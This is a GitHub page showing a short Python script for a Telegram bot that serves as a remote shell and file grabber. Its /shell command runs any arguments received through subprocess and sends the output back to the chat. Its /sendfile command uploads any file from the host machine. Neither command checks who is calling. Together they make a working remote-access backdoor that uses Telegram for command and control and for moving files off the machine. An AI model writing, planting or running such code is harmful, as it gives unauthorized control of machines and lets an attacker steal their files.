-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbotTelegramShell&FileUpload.py
More file actions
27 lines (22 loc) · 1.07 KB
/
botTelegramShell&FileUpload.py
File metadata and controls
27 lines (22 loc) · 1.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import subprocess
from telegram.ext import Updater
updater = Updater(token='TOKEN', use_context=True)
dispatcher = updater.dispatcher
import logging
logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',level=logging.INFO)
def start(update, context):
context.bot.send_message(chat_id=update.effective_chat.id, text="Opciones\n /shell arg (basic shell)\n /sendfile arg (para cojer archivos)")
def shell(update,context):
ext=subprocess.run(context.args,capture_output=True)
context.bot.send_message(chat_id=update.effective_chat.id, text=str(ext.stdout.decode("UTF-8")))
def sendFile(update,context):
chat_id=update.effective_chat.id
context.bot.send_document(chat_id=chat_id ,document=open(context.args[0],'rb'))
from telegram.ext import CommandHandler
start_handler = CommandHandler('start', start)
dispatcher.add_handler(start_handler)
shell_handler = CommandHandler('shell',shell)
dispatcher.add_handler(shell_handler)
start_handler = CommandHandler('sendfile', sendFile)
dispatcher.add_handler(start_handler)
updater.start_polling()